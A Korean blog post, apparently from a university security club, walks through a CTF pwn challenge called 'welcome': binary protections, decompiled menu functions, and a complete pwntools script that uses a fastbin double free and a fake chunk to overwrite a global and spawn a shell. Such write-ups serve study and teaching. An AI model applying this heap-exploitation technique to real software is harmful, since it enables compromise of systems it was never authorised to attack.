혜랑's STORY

[HC 2021] welcome 본문

2021 SISS 21기 활동/2학시 시스템

[HC 2021] welcome

hyerang0125 2021. 9. 26. 20:17

1️⃣ checksec

64 bit 바이너리 파일이고, Partial RELRO와 Canary, NX가 설정되어 있다.

2️⃣ IDA

main()

player의 이름을 입력받고, 메뉴에 있는 info, malloc, free, key, exit 중 입력받은 번호를 실행하고 있다. fastbin dup을 사용하여 풀이하는 문제인 것 같다.

역시 player는 전역 변수로 선언되어 있다.

Malloc()

위 코드는 0x20 크기의 힙을 할당하고 데이터를 입력할 수 있다.

Free()

Key()

최종적으로 실행하여 셸을 획득할 것이다.

이때 꼭 필요한 target 또한 전역 변수로 선언되어 있다.

3️⃣ Exploit Scenario

  1. 검증 우회를 위해 두 개의 힙을 할당한다.
  2. old와 p 포인터를 다르게 하여 Double Free를 발생시킨다.
  3. Double Free가 발생하여 FD를 조작할 수 있다. 데이터를 입력할 때 할당한 tartget 전역 변수의 주소를 FD 위치에 입력한다.
  4. 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 target 전역 변수에 힙 청크가 할당된다. target 전역 변수에 힙 청크가 할당되면 0x20210814 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.
Fake chunk
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("name: ", fakechunk)

fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunk의 prev_size에는 0을 입력하였다. 이후 할당하려는 힘의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 입력하였다.

fakechunk_name = elf.symbols['player']

malloc(p64(fakechunk_name)) # FD overwrite
malloc("AAAA")
malloc("BBBB")

malloc(p64(0x20210814)) # Arbitrary allocate. write
getshell()

위 코드와 같이 FD를 Fake chunk가 구성된 주소로 조작한다면 검증을 우회한 후, 해당 주소에 힙 청크를 할당할 수 있게 된다. target 전역 변수에 0x20210814를 입력하면 3번 메뉴를 통해 셸을 획득할 수 있다.

exploit.py
from pwn import *

#context.log_level = 'debug'

p = process("./welcome")

def malloc(data):
	print p.sendlineafter("> ", "1")
	print p.sendlineafter("> ", str(data))

def free(idx):
	print p.sendlineafter("> ", "2")
	print p.sendlineafter("> ", str(idx))

def getshell():
	print p.sendlineafter("> ", "3")

elf = ELF("./welcome")

fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("name: ", fakechunk)

malloc("AAAA") # 0
malloc("AAAA") # 1

free(0)
free(1)
free(0)

target_addr = elf.symbols['target']
fakechunk_name = elf.symbols['player']

malloc(p64(fakechunk_name)) # FD overwrite
malloc("AAAA")
malloc("BBBB")

malloc(p64(0x20210814))
getshell()

p.interactive()

위 코드를 실행하면 셸을 얻을 수 있다.

(중략)

성공!